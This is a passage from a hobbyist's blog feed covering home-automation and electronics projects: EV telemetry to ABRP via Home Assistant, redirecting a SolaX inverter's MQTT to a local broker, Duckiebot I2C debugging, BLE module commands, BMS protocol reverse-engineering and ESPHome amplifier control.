&lt;p>The data had steps in it that looked like VW was throttling my queries, so I reduced the poll rate as well:&lt;/p>
&lt;pre>&lt;code class="language-patch">--- a/custom_components/vwid/sensor.py
+++ b/custom_components/vwid/sensor.py
@@ -80,7 +80,7 @@ async def async_setup_entry(
_LOGGER,
name = &amp;quot;VW ID Sensor&amp;quot;,
update_method = async_update_data,
- update_interval = timedelta(seconds=30),
+ update_interval = timedelta(seconds=121),
)
# Fetch initial data so we have data when entities subscribe
&lt;/code>&lt;/pre>
&lt;p>Next, go to the Home Assistant UI and enable the &lt;code>Volkswagen ID&lt;/code> integration. You&amp;rsquo;ll need your We Connect ID user name, password, and VIN. Once done you can add a panel showing the vehicle highlights:&lt;/p>
&lt;p>&lt;img src="panel.png" alt="Home Assistant panel showing the vehicle data">&lt;/p>
&lt;p>Now that Home Assistant has the data, create a command that can post the data to the
&lt;a href="https://documenter.getpostman.com/view/7396339/SWTK5a8w" target="_blank" rel="noopener">Iternio Telemetry API&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-yaml">rest_command:
update_abrp:
method: POST
headers:
authorization: !secret abrp_api_key
content_type: &amp;quot;charset=utf-8; application/x-www-form-urlencoded&amp;quot;
url: &amp;gt;
{% set tlm = {
&amp;quot;utc&amp;quot;: float(as_timestamp(utcnow())),
&amp;quot;soc&amp;quot;: states('sensor.volkswagen_id_state_of_charge'),
&amp;quot;est_battery_range&amp;quot;: float(states('sensor.volkswagen_id_current_range_in_km')),
&amp;quot;is_charging&amp;quot;: int(states('sensor.volkswagen_id_charge_rate')) &amp;gt; 0,
} -%}
https://api.iternio.com/1/tlm/send?token={{token}}&amp;amp;tlm={{tlm|to_json|urlencode}}
&lt;/code>&lt;/pre>
&lt;p>Note that this takes the telemetry, encodes it as JSON, then posts it as a query parameter. You can add other types to the &lt;code>tlm&lt;/code> dict.&lt;/p>
&lt;p>See the API documentation on how to obtain an API key. Once you have this, add it to &lt;code>secrets.yaml&lt;/code> like &lt;code>abrp_api_key: APIKEY 12341234-1234-1234-1234-12312341234&lt;/code>.&lt;/p>
&lt;p>Finally, log into ABRP and use the &lt;code>ABRP OBD Connection &amp;gt; Link generic&lt;/code> section to get a token for your vehicle. Use this to create an automation rule that runs the REST command whenever the range changes or time passes:&lt;/p>
&lt;pre>&lt;code class="language-yaml">- alias: Push car to ABRP
trigger:
- platform: state
entity_id: sensor.volkswagen_id_current_range_in_km
to:
- platform: time_pattern
minutes: &amp;quot;/8&amp;quot;
action:
- service: rest_command.update_abrp
data:
token: the-token-you-get-from-the-link-generic-ui-in-abrp
&lt;/code>&lt;/pre>
&lt;p>As a bonus, if you enable the Home Assistant Prometheus integration then you can also graph the charging and time remaining:&lt;/p>
&lt;p>&lt;img src="dash.png" alt="Grafana dashboard showing state of charge and time remaining">&lt;/p>
&lt;p>and then use an expression like&lt;/p>
&lt;pre>&lt;code>predict_linear((homeassistant_sensor_unit_minutes&amp;gt;0)[30m:2m], 0)
unless (homeassistant_sensor_unit_minutes==0)
&lt;/code>&lt;/pre>
&lt;p>to get a finer estimate of when the charge will complete and alert when it&amp;rsquo;s almost done.&lt;/p></description></item><item><title>Local SolaX data</title><link>https://juju.nz/michaelh/post/2021/solax/</link><pubDate>Sun, 05 Dec 2021 15:49:08 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/solax/</guid><description>&lt;p>I&amp;rsquo;ve recently installed a
&lt;a href="https://www.solaxpower.com/x1-mini/" target="_blank" rel="noopener">SolaX X1 Mini&lt;/a> grid-tied inverter. This comes with a Wifi adapter and cloud offering where you can view the current system performance. This post covers how to redirect the underlying MQTT connection so you can read data from the inverter without data leaving your network.&lt;/p>
&lt;p>The steps are:&lt;/p>
&lt;ul>
&lt;li>Patch Mosquitto to accept packets with a zero packet identifier&lt;/li>
&lt;li>Configure Mosquitto to also listen on port 2901&lt;/li>
&lt;li>Change your DNS to map &lt;code>mqtt001.solaxcloud.com&lt;/code> and &lt;code>mqtt002.solaxcloud.com&lt;/code> to your MQTT broker&lt;/li>
&lt;li>Configure Home Assistant or similar to unpack the updates&lt;/li>
&lt;/ul>
&lt;p>The uplink is implemented using an unencrypted MQTT connection to &lt;code>mqtt001.solaxcloud.com&lt;/code> on port 2901. The inverter fails over to &lt;code>mqtt002.solaxcloud.com&lt;/code> if the first is unavailable.&lt;/p>
&lt;p>The &lt;code>PUBLISH&lt;/code> packets sent by the inverter are invalid as the packet identifier is set to zero. This can be worked around by patching
&lt;a href="https://mosquitto.org/" target="_blank" rel="noopener">Mosquitto&lt;/a> and
&lt;a href="https://github.com/eclipse/mosquitto/blob/3cbe805e71ac41a2a20cc9b2ea6b3b619f49554a/src/handle_publish.c#L107" target="_blank" rel="noopener">removing this check&lt;/a> from &lt;code>handle_publish.c&lt;/code>. If you don&amp;rsquo;t do this then Mosquitto will detect a protocol violation and close the connection.&lt;/p>
&lt;p>On connection the inverter subscribes to a set of topics, requests the current time, and reports as &amp;lsquo;up&amp;rsquo;. It then publishes the current state every five minutes. All topics contain the Wifi adapter serial number and all payloads are JSON.&lt;/p>
&lt;p>An example update published on &lt;code>loc/$WIFI_SERIAL_NUMBER&lt;/code> is:&lt;/p>
&lt;pre>&lt;code class="language-json">{
'type': 'X1-Boost-Air-Mini',
'SN': '$WIFI_SERIAL_NUMBER',
'ver': '2.033.20',
'Data': [
0.2, 0.0, 75.0, 0.0, 0.3, 228.8, 7, 18, 0.0, 1.1,
0, 17, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0.0, 0.0, 0, 0, 0, 0, 0, 0, 0,
49.99, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0.0, 0, 0, 0, 0, 0.0, 0, 0, 2,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0],
'Information': [
1.1, 4,
'X1-Boost-Air-Mini',
'$INVERTER_SERIAL_NUMBER',
1, 2.1, 0.0, 1.3, 0.0
]
}
&lt;/code>&lt;/pre>
&lt;p>&lt;code>Data&lt;/code> contains the readings and these seem to correspond to the
&lt;a href="https://github.com/GitHobi/solax/wiki/74_SolaxDirect.pm-Readings" target="_blank" rel="noopener">direct API fields&lt;/a> decoded by
&lt;a href="https://github.com/GitHobi" target="_blank" rel="noopener">Hobi&lt;/a> and
&lt;a href="https://github.com/squishykid/solax/blob/master/solax/inverter.py" target="_blank" rel="noopener">used by&lt;/a>
&lt;a href="https://github.com/squishykid/" target="_blank" rel="noopener">squishykid&lt;/a>. For example, in the readings above:&lt;/p>
&lt;ul>
&lt;li>The panels are delivering 0.2 A at 75 V&lt;/li>
&lt;li>The grid is at 228.8 V&lt;/li>
&lt;li>The system is delivering 8 W and has output 1.1 kWh over the system lifetime&lt;/li>
&lt;/ul>
&lt;p>These can be decoded in
&lt;a href="https://www.home-assistant.io/" target="_blank" rel="noopener">Home Assistant&lt;/a> using
&lt;a href="https://www.home-assistant.io/integrations/sensor.mqtt/" target="_blank" rel="noopener">MQTT sensor definitions&lt;/a> like:&lt;/p>
&lt;pre>&lt;code class="language-yaml">- platform: mqtt
name: &amp;quot;solax_power_now&amp;quot;
unique_id: &amp;quot;solax_power_now&amp;quot;
state_topic: &amp;quot;loc/$WIFI_SERIAL_NUMBER&amp;quot;
value_template: &amp;quot;{{ value_json.Data[6] }}&amp;quot;
expire_after: 900
unit_of_measurement: &amp;quot;W&amp;quot;
device_class: power
&lt;/code>&lt;/pre>
&lt;p>which will show as:&lt;/p>
&lt;p>&lt;img src="featured.png" alt="Power history">&lt;/p>
&lt;h2 id="notes">Notes&lt;/h2>
&lt;p>On connection, the inverter subscribes to:&lt;/p>
&lt;ul>
&lt;li>&lt;code>respsynctime/$WIFI_SERIAL_NUMBER&lt;/code>&lt;/li>
&lt;li>&lt;code>set/$WIFI_SERIAL_NUMBER&lt;/code>&lt;/li>
&lt;li>&lt;code>set/$WIFI_SERIAL_NUMBER/init&lt;/code>&lt;/li>
&lt;li>&lt;code>update/version/$WIFI_SERIAL_NUMBER&lt;/code>&lt;/li>
&lt;li>&lt;code>base/down/$WIFI_SERIAL_NUMBER&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>I suspect the &lt;code>set&lt;/code> topic is used for remote configuration and &lt;code>update&lt;/code> is used to update the firmware.&lt;/p>
&lt;p>It then:&lt;/p>
&lt;ul>
&lt;li>publishes &lt;code>reqsynctime/$WIFI_SERIAL_NUMBER&lt;/code>: &lt;code>{'wifisn': '$WIFI_SERIAL_NUMBER'}&lt;/code>&lt;/li>
&lt;li>receives &lt;code>respsynctime/$WIFI_SERIAL_NUMBER&lt;/code>: &lt;code>{'month': '12', 'hour': '11', 'year': '2021', 'day': '4', 'taskId': '297868bb24194080bdf749ab26adc3d6', 'minute': '20', 'second': '30'}&lt;/code>&lt;/li>
&lt;li>publishes &lt;code>Synctime/$WIFI_SERIAL_NUMBER&lt;/code> &lt;code>{'code': '2', 'message': 'setting failed'}&lt;/code>&lt;/li>
&lt;li>publishes &lt;code>base/up/$WIFI_SERIAL_NUMBER&lt;/code>: &lt;code>{'type': 2, 'wifiSN': '$WIFI_SERIAL_NUMBER', 'domain': 'mqtt002.solaxcloud.com', 'port': 2901}&lt;/code>&lt;/li>
&lt;/ul></description></item><item><title>Duckiebot debugging</title><link>https://juju.nz/michaelh/post/2021/duckie/</link><pubDate>Sun, 26 Sep 2021 10:13:19 +0200</pubDate><guid>https://juju.nz/michaelh/post/2021/duckie/</guid><description>&lt;p>I&amp;rsquo;ve picked up a Duckietown Duckiebot DB21M. Under the hood it&amp;rsquo;s a Linux SBC running ROS that talks to the HUT I/O board. There&amp;rsquo;s a nice host side set of utilities and Docker based tools that let you interact from a standard laptop.&lt;/p>
&lt;p>So far I can&amp;rsquo;t get the motors to spin. I had problems initially with the camera connector being in backwards, which meant the interface ROS node couldn&amp;rsquo;t start, which dropped all interfaces, but that was found via &lt;code>docker ps&lt;/code> and &lt;code>docker logs&lt;/code>.&lt;/p>
&lt;p>I&amp;rsquo;m not fond of the nylon fixings. They&amp;rsquo;re very easy to strip. The supplied SD card seems to be faulty as my laptop doesn&amp;rsquo;t recognise it, but I had a spare class A1 card that imaged fine. The Duckiebattery is cool - it looks like a standard no-name phone charging battery, but it&amp;rsquo;s running custom firmware that reports the battery state over USB.&lt;/p>
&lt;p>It seems the earlier DB17 used an PCA9685 based HAT from Adafruit, and these were integrated into the Hut?&lt;/p>
&lt;p>The
&lt;a href="https://github.com/duckietown/fw-device-hut/tree/jetson-nano" target="_blank" rel="noopener">firmware&lt;/a> is ATMEGA based and seems to have I2C based registers that run the I/O.&lt;/p>
&lt;p>Reading the firmware, there is LED 0 (0x40?) Motor 1 (0x60?)&lt;/p>
&lt;p>&lt;code>i2cdetect&lt;/code> doesn&amp;rsquo;t detect these devices but it&amp;rsquo;s skipping addresses.&lt;/p>
&lt;p>&lt;code>i2cset -y 1 0x40 0 0x20&lt;/code> gets an ACK.&lt;/p>
&lt;p>The LEDs are on command 6 onwards. I can change the colour of the LEDs using &lt;code>i2cset ...&lt;/code>.&lt;/p>
&lt;p>So the HUT processor is working. The register layout is more complicated so I&amp;rsquo;ll look at the motor supply.&lt;/p>
&lt;p>The motor is sold by Sparkfun as a DG01D-E with pinout
&lt;a href="https://cdn.sparkfun.com/assets/learn_tutorials/1/1/7/6/assembly_encoder_pin_map.jpg" target="_blank" rel="noopener">https://cdn.sparkfun.com/assets/learn_tutorials/1/1/7/6/assembly_encoder_pin_map.jpg&lt;/a> which is:&lt;/p>
&lt;ul>
&lt;li>Motor +&lt;/li>
&lt;li>Motor -&lt;/li>
&lt;li>Encoder VCC&lt;/li>
&lt;li>Encoder A&lt;/li>
&lt;li>Encoder B&lt;/li>
&lt;li>Encoder GND&lt;/li>
&lt;/ul>
&lt;p>The next-door servo pins shows 4.7 V, and it&amp;rsquo;s likely that&amp;rsquo;s the same supply as the motor driver.&lt;/p>
&lt;p>&lt;code>rqt_graph&lt;/code> shows a range of nodes including &lt;code>led_emitter_node&lt;/code> and &lt;code>right_wheel_encoder_node&lt;/code>.&lt;/p>
&lt;p>The code shows that you can run commands like &lt;code>rosservice call /ente1/led_emitter_node/set_pattern &amp;quot;pattern_name: {data: CAR_SIGNAL_PRIORITY}&amp;quot;&lt;/code>&lt;/p>
&lt;p>The flashing is intermittent. &lt;code>dmesg&lt;/code> shows that the board is having issues with I2C:&lt;/p>
&lt;pre>&lt;code>[ 498.097932] tegra-i2c 7000c400.i2c: arb lost in communicate to add 0x40
[ 498.104813] tegra-i2c 7000c400.i2c: Un-recovered Arb lost
[ 500.587954] tegra-i2c 7000c400.i2c: arb lost in communicate to add 0x40
&lt;/code>&lt;/pre>
&lt;p>The TOF sensor is working, so it&amp;rsquo;s not that. Seems to be on address 0x29.&lt;/p>
&lt;p>What&amp;rsquo;s at address 0x70?&lt;/p>
&lt;p>The RS datasheet has a parts list at
&lt;a href="https://docs.rs-online.com/c57a/A700000007343652.pdf" target="_blank" rel="noopener">https://docs.rs-online.com/c57a/A700000007343652.pdf&lt;/a>. The IMU is a MPU-9250 which is normally address 0x68 or 0x69.&lt;/p>
&lt;p>0x70 may be a TCA9548 I2C multiplexer. Does the front bumper board also contain a multiplexer?&lt;/p>
&lt;p>Or another PCA9685?&lt;/p>
&lt;p>The LEDs seem to stop on a different colour, which is what WS2812 LEDs do when the signal is interrupted. Is the HUT resetting?&lt;/p></description></item><item><title>ZX0</title><link>https://juju.nz/michaelh/post/2021/zx0/</link><pubDate>Sat, 19 Jun 2021 16:34:46 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/zx0/</guid><description>&lt;p>ZX0 is my
&lt;a href="https://en.wikipedia.org/wiki/ZX81" target="_blank" rel="noopener">Sinclar ZX81-like&lt;/a> hobby computer. The idea is to make something in the ZX81 form factor, use a
&lt;a href="https://www.raspberrypi.org/products/raspberry-pi-zero/" target="_blank" rel="noopener">Raspberry Pi Zero&lt;/a> for emulation, and then write some interesting apps that run on the emulator.&lt;/p>
&lt;p>Today I got the prototype keyboard working. This uses the ZX81 40 key layout and uses a SAMD21 to scan the keys and report the LEDs. The SAMD21 is running
&lt;a href="https://www.zephyrproject.org/" target="_blank" rel="noopener">Zephyr&lt;/a>, talks to the Pi over I2C, and emulates the
&lt;a href="https://www.ti.com/product/LM8333" target="_blank" rel="noopener">LM8333&lt;/a> key matrix scanner.&lt;/p>
&lt;p>In the future I should be able to use the built-in Linux driver but for now the Pi runs a simple program that sends
&lt;a href="https://en.wikipedia.org/wiki/System_Management_Bus" target="_blank" rel="noopener">SMBus&lt;/a> commands to read the key FIFO and publishes the keys via
&lt;a href="https://www.kernel.org/doc/html/latest/input/uinput.html" target="_blank" rel="noopener">uinput&lt;/a>.&lt;/p>
&lt;p>&lt;img src="overall.jpg" alt="Board running an emulator">&lt;/p>
&lt;p>I found quite a few issues with my schematic:&lt;/p>
&lt;ul>
&lt;li>&lt;code>SDA&lt;/code> and &lt;code>SCL&lt;/code> were swapped. This was fixed in software.&lt;/li>
&lt;li>&lt;code>RX&lt;/code> and &lt;code>TX&lt;/code> were swapped. This was fixed by swapping the pins in the cable.&lt;/li>
&lt;li>The SAMD21 really needs an interrupt line to wake up the Pi. The work-around is to poll.&lt;/li>
&lt;li>The USB connector is too hard to hand solder. I&amp;rsquo;ve switched this for a chunkier Adafruit connector for future versions.&lt;/li>
&lt;li>The regulator has the wrong footprint and pin order. I couldn&amp;rsquo;t get my first choice and ordered something that I thought was pin compatible, but I was wrong. The work-around is to pull the 3V3 line from the Pi.&lt;/li>
&lt;/ul>
&lt;p>Next step is to create a bootloader for the SAMD21 so I can program it from the Pi. I&amp;rsquo;m thinking of starting with the
&lt;a href="https://github.com/adafruit/uf2-samdx1" target="_blank" rel="noopener">Adafruit UF2 bootloader&lt;/a> and adapting the SAM-BA / BOSSA protocol to work over I2C.&lt;/p></description></item><item><title>AT-09 BLE to UART notes</title><link>https://juju.nz/michaelh/post/2021/at09/</link><pubDate>Sun, 14 Mar 2021 16:34:46 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/at09/</guid><description>&lt;p>I picked up a couple of AT-09 Bluetooth to UART bridges for my solar at home project. Both the BMS and inverter have different grounds than the rest of the system, so rather than worry about isolating the signals I plan to send them over Bluetooth instead.&lt;/p>
&lt;p>The modules have a few gotchas:&lt;/p>
&lt;ul>
&lt;li>It seems to have an intra-character timeout of &amp;lt; 0.1 s. If you type in commands manually then the characters don&amp;rsquo;t arrive fast enough and the module returns &lt;code>ERROR&lt;/code>, so it&amp;rsquo;s best to write a script instead.&lt;/li>
&lt;li>Any mutate command causes a reset which takes ~1 s, so it&amp;rsquo;s best to wait for the module to come back by sending &lt;code>AT&lt;/code> until you get &lt;code>OK&lt;/code>.&lt;/li>
&lt;li>
&lt;a href="http://denethor.wlu.ca/arduino/MLT-BT05-AT-commands-TRANSLATED.pdf" target="_blank" rel="noopener">This is the best manual I could find&lt;/a> and
&lt;a href="https://blog.yavilevich.com/2017/03/mlt-bt05-ble-module-a-clone-of-a-clone/" target="_blank" rel="noopener">this is the best blog post&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>&lt;code>AT+HELP&lt;/code> gives a list of commands but it&amp;rsquo;s incomplete. For reference, I used the following to configure the module:&lt;/p>
&lt;ul>
&lt;li>&lt;code>AT+BAUD5&lt;/code> - set the baud rate to 19200. 4 is 9600.&lt;/li>
&lt;li>&lt;code>AT+NAMEPhoenix 24/375&lt;/code> - set the display name.&lt;/li>
&lt;li>&lt;code>AT+TYPE1&lt;/code> - require a pin to connect.&lt;/li>
&lt;li>&lt;code>AT+PIN123123&lt;/code> - set the 6 digit pin.&lt;/li>
&lt;/ul>
&lt;p>Note that each line must end with a &lt;code>\r\n&lt;/code>.&lt;/p></description></item><item><title>Solar limits</title><link>https://juju.nz/michaelh/post/2021/solarlim/</link><pubDate>Sat, 06 Mar 2021 12:17:07 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/solarlim/</guid><description>&lt;p>Something unexpected with my solar power setup: the cable loss is
limiting the power produced by the panel, but it’s due to the voltage
drop and not the power loss.&lt;/p>
&lt;p>The cable is ~20 m of 1 mm&lt;sup>2&lt;/sup> flex for a total of 0.71 Ω.
The peak power point of the panel is 34.3 V and the Victron charge
controller needs 30.1 V to charge an 8S LiFePO4 battery.&lt;/p>
&lt;p>This means the maximum current is
&lt;code>I = (34.3 - 30.1) / 0.71&lt;/code> = 5.9 A, which is
&lt;code>34.3 * 5.9&lt;/code> = 202 W generated, 24 W of loss, and 178 W
delivered.&lt;/p>
&lt;figure>
&lt;img src="sim.png" alt="Power delivered versus generated" />
&lt;figcaption aria-hidden="true">Power delivered versus
generated&lt;/figcaption>
&lt;/figure>
&lt;p>Changing to 2.5 mm&lt;sup>2&lt;/sup> flex will cut the resistance to 0.28
Ω, ups the current to 9.2 A, and deliver 291 W.&lt;/p></description></item><item><title>GPIO and Home Assistant</title><link>https://juju.nz/michaelh/post/2021/pigpio/</link><pubDate>Sun, 28 Feb 2021 17:41:07 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/pigpio/</guid><description>&lt;p>As part of moving my home server to solar power, I need a way of switching over to mains if there&amp;rsquo;s been a few grey days and the battery is getting low. I&amp;rsquo;ve attached a relay to the Raspberry Pi&amp;rsquo;s GPIO to switch the charger input from solar to a
&lt;a href="https://www.meanwell-web.com/en-gb/ac-dc-single-output-enclosed-power-supply-lrs--100--36" target="_blank" rel="noopener">MEAN WELL 100 W supply&lt;/a> but integrating is surprisingly tricky:&lt;/p>
&lt;ul>
&lt;li>The
&lt;a href="https://www.home-assistant.io/integrations/rpi_gpio/" target="_blank" rel="noopener">&lt;code>rpi_gpio&lt;/code>&lt;/a> module uses RPi.GPIO which isn&amp;rsquo;t 64 bit clean and fails to compile on Ubuntu&lt;/li>
&lt;li>The
&lt;a href="https://www.home-assistant.io/integrations/remote_rpi_gpio/" target="_blank" rel="noopener">&lt;code>remote_rpi_gpio&lt;/code>&lt;/a> module uses
&lt;a href="http://abyz.me.uk/rpi/pigpio/pigpiod.html" target="_blank" rel="noopener">pigpiod&lt;/a> which for some reason uses 20 % CPU when idle.&lt;/li>
&lt;/ul>
&lt;p>I settled on
&lt;a href="https://github.com/flyte/pi-mqtt-gpio" target="_blank" rel="noopener">&lt;code>pi-mqtt-gpio&lt;/code>&lt;/a>, as most of my other custom integrations are over MQTT. The config is:&lt;/p>
&lt;pre>&lt;code class="language-yaml">mqtt:
host: localhost
topic_prefix: host/keylime
discovery: true
gpio_modules:
- name: gpiod
module: gpiod
digital_outputs:
- name: mains_select
module: gpiod
pin: 17
on_payload: &amp;quot;ON&amp;quot;
off_payload: &amp;quot;OFF&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>&lt;code>discovery&lt;/code> is undocumented but enables Home Assistant
&lt;a href="https://www.home-assistant.io/docs/mqtt/discovery/" target="_blank" rel="noopener">MQTT discovery&lt;/a>, so it&amp;rsquo;s zero extra config.&lt;/p>
&lt;p>This should be usable on non-Pi hosts as well due to using the gpiod module.&lt;/p></description></item><item><title>HEYO BMS Notes</title><link>https://juju.nz/michaelh/post/2021/heyo/</link><pubDate>Sat, 06 Feb 2021 17:00:36 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/heyo/</guid><description>&lt;p>The HEYO BMS appears to be a DALY clone. My 8S 60A model has a selection of ports - on the top:&lt;/p>
&lt;ul>
&lt;li>NTC (3 pin)&lt;/li>
&lt;li>UART (6 pin)&lt;/li>
&lt;li>Unnamed 5 pin)&lt;/li>
&lt;/ul>
&lt;p>On the bottom:&lt;/p>
&lt;ul>
&lt;li>Unnamed (4 pin)&lt;/li>
&lt;li>Monitor (3 pin)&lt;/li>
&lt;li>Unnamed (2 pin)&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s likely the 2 pin unnamed port is the wake up switch, and the unnamed 5 pin is a RS 485 connection.&lt;/p>
&lt;h2 id="uart">UART&lt;/h2>
&lt;p>The Bluetooth module connects to the 6 pin UART connector with a 6 pin to USB mini B cable. Despite the connector, the signaling is 3.3 V UART at 9600 N81.&lt;/p>
&lt;p>The pins use a confusing colour set. They are:&lt;/p>
&lt;ol>
&lt;li>GND (black)&lt;/li>
&lt;li>+3.3V (green)&lt;/li>
&lt;li>N/C&lt;/li>
&lt;li>N/C&lt;/li>
&lt;li>TXD (white)&lt;/li>
&lt;li>RXD (red)&lt;/li>
&lt;/ol>
&lt;p>The Bluetooth adapter uses BLE with a custom write service and a read service Example frames seen over the Bluetooth UART are:&lt;/p>
&lt;p>To BMS:&lt;/p>
&lt;pre>&lt;code>d2 03 00 00 00 3e d7 b9 ?????&amp;gt;??
d2 03 00 a9 00 20 87 91 ????? ??
d2 03 00 00 00 3e d7 b9
d2 03 00 a9 00 20 87 91 ?????&amp;gt;??????? ??
&lt;/code>&lt;/pre>
&lt;p>From BMS:&lt;/p>
&lt;pre>&lt;code>d2 03 40 34 30 31 30 31 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 4d 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 65 13 ??@401012??????????????????????????BMS?????????????????????????????e?
d2 03 7c 0d 6e 0d 69 0d 59 0d d7 0d 0b 0d 0b 0d 0c 0d 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 00 28 00 28 00 00 00 00 00 00 00 00 00 00 01 0f 75 30 03 e8 0d d7 0d 0b 00 3d 00 3d 00 00 00 fa 00 08 00 01 00 00 00 00 00 01 00 01 0d 46 00 cc 00 00 00 00 00 00 00 00 00 00 0e e1 ??|?n?i?Y???????????????????????????????????????????????????????????=?(?(????????????u0???????=?=?????????????????F??????????????
&lt;/code>&lt;/pre>
&lt;p>Surprisingly this is not the same as the common
&lt;a href="https://blog.ja-ke.tech/2020/02/07/ltt-power-bms-chinese-protocol.html" target="_blank" rel="noopener">SMART BMS protocol&lt;/a>. The overall framing looks straight forward:&lt;/p>
&lt;ul>
&lt;li>uint8 SOF: D2&lt;/li>
&lt;li>uint8 ???: 03&lt;/li>
&lt;li>uint8 Payload length: (40, 7C)&lt;/li>
&lt;li>Payload&lt;/li>
&lt;li>uint16 Checksum&lt;/li>
&lt;/ul>
&lt;p>The &lt;code>0d 6e&lt;/code> and similar are likely big endian uint16 battery voltages in mV.&lt;/p>
&lt;p>Next up I&amp;rsquo;ll dig up a Windows machine and capture the serial data between the PC app and the BMS to see if it&amp;rsquo;s the same.&lt;/p>
&lt;h2 id="crc">CRC&lt;/h2>
&lt;p>
&lt;a href="https://reveng.sourceforge.io/" target="_blank" rel="noopener">CRC RevEng&lt;/a> shows that the checksum is CRC-16/MODBUS:&lt;/p>
&lt;pre>&lt;code> ./reveng -w 16 -l -s d203063132333435364c69 d2035200fa0e10000100080000000000010000000000ff012c012c0ea60ea60b54012c012c00e800e8731d731d784d784d0069006900000000006e006e000000000000000000ff00ff0c8000320000000000aa00285737
./reveng: warning: you have only given 2 samples
./reveng: warning: to reduce false positives, give 4 or more samples
width=16 poly=0x8005 init=0xffff refin=true refout=true xorout=0x0000 check=0x4b37 residue=0x0000 name=&amp;quot;CRC-16/MODBUS&amp;quot;
&lt;/code>&lt;/pre>
&lt;h1 id="windows-app">Windows app&lt;/h1>
&lt;p>Using Wireshark with USBpcap gives the serial stream from the Windows App to the BMS. A sample:&lt;/p>
&lt;pre>&lt;code>1612695069.430 OUT A5 40 90 08 00 00 00 00 00 00 00 00 7D
1612695069.647 IN A5 01 90 08 01 06 01 06 75 3A 00 5A 55
1612695069.906 OUT A5 40 91 08 00 00 00 00 00 00 00 00 7E
1612695070.143 IN A5 01 91 08 0C F9 02 0C AD 07 00 00 06
1612695070.191 OUT A5 40 92 08 00 00 00 00 00 00 00 00 7F
1612695070.447 IN A5 01 92 08 3D 01 3D 01 00 00 00 00 BC
1612695070.520 OUT A5 40 93 08 00 00 00 00 00 00 00 00 80
1612695070.655 IN A5 01 93 08 01 01 01 7E 00 00 09 4E 19
1612695070.739 OUT A5 40 94 08 00 00 00 00 00 00 00 00 81
1612695070.943 IN A5 01 94 08 08 01 01 00 00 00 00 00 4C
1612695071.066 OUT A5 40 95 08 00 00 00 00 00 00 00 00 82
1612695071.151 IN A5 01 95 08 01 0C F7 0C FA 0C F7 00 50 A5 01 95 08 02 0C F8 0C AF 0C AF 00 BF A5 01 95 08 03 0C AD 0C AD 0C AF 00 73
&lt;/code>&lt;/pre>
&lt;p>This is different again:&lt;/p>
&lt;ul>
&lt;li>uint8 SOF 0xA5&lt;/li>
&lt;li>uint8 node ID? 0x40 out, 0x01 from BMS&lt;/li>
&lt;li>uint8 register?&lt;/li>
&lt;li>uint8 length 0x08&lt;/li>
&lt;li>uint8[] body&lt;/li>
&lt;li>uint8 checksum&lt;/li>
&lt;/ul>
&lt;p>The checksum seems to be the sum of the payload.&lt;/p>
&lt;p>Requests come from node &lt;code>0x40&lt;/code> and always have an empty 8 byte payload.&lt;/p>
&lt;p>Some requests like register &lt;code>0x95&lt;/code> give multiple responses. &lt;code>0x95&lt;/code> looks like the cell voltages: &lt;code>0x01&lt;/code> then 3x 16 bit voltage in mV repeated 3 times.&lt;/p></description></item><item><title>Brainslug</title><link>https://juju.nz/michaelh/post/2021/brainslug/</link><pubDate>Sat, 30 Jan 2021 17:06:51 +0100</pubDate><guid>https://juju.nz/michaelh/post/2021/brainslug/</guid><description>&lt;p>I have a
&lt;a href="https://www.marantz.com/" target="_blank" rel="noopener">Marantz&lt;/a>
&lt;a href="https://www.marantz.com/en-gb/shop/amplifier/pm6006ukspecialedition" target="_blank" rel="noopener">PM6006&lt;/a> amplifier which sounds great, but it&amp;rsquo;s older tech and doesn&amp;rsquo;t integrate with the rest of my home automation. In particular I&amp;rsquo;d like to have it follow the TV power state and automatically turn on when the TV turns on and turn off shortly after the TV turns off. This should reduce the overall power consumption as it&amp;rsquo;s a class AB amplifier and draws ~50 W even when idle.&lt;/p>
&lt;p>The solution was to add Wifi based control using
&lt;a href="https://esphome.io/" target="_blank" rel="noopener">ESPHome&lt;/a>. The integration was pretty clean as all of the signals needed are on the easily accessible STANDBY board which has:&lt;/p>
&lt;ul>
&lt;li>The always on 5 V standby supply&lt;/li>
&lt;li>The main power relay&lt;/li>
&lt;li>The wired remote&lt;/li>
&lt;/ul>
&lt;p>I used an
&lt;a href="https://www.olimex.com/" target="_blank" rel="noopener">Olimex&lt;/a>
&lt;a href="https://www.olimex.com/Products/IoT/ESP8266/MOD-WIFI-ESP8266-DEV/open-source-hardware" target="_blank" rel="noopener">ESP8266&lt;/a> board that I had in the spare parts drawer. The Olimex has a few unused pads which meant the support components (a MC1700 regulator, filter capacitor, and diode for the remote control interface) could be soldered to the board without needing an extra stripboard.&lt;/p>
&lt;p>&lt;img src="esp.jpg" alt="Olimex ESP8266 board with wires off to the standby board">&lt;/p>
&lt;p>The signals needed are readily available on the STANDBY board. J8508 is +5 V, J8502 is GND, and the top two pins on N8504 are the &lt;code>RC5&lt;/code> and &lt;code>POW_ON&lt;/code> relay drive connections. The schematic for the very similar PM6005 is readily available online.&lt;/p>
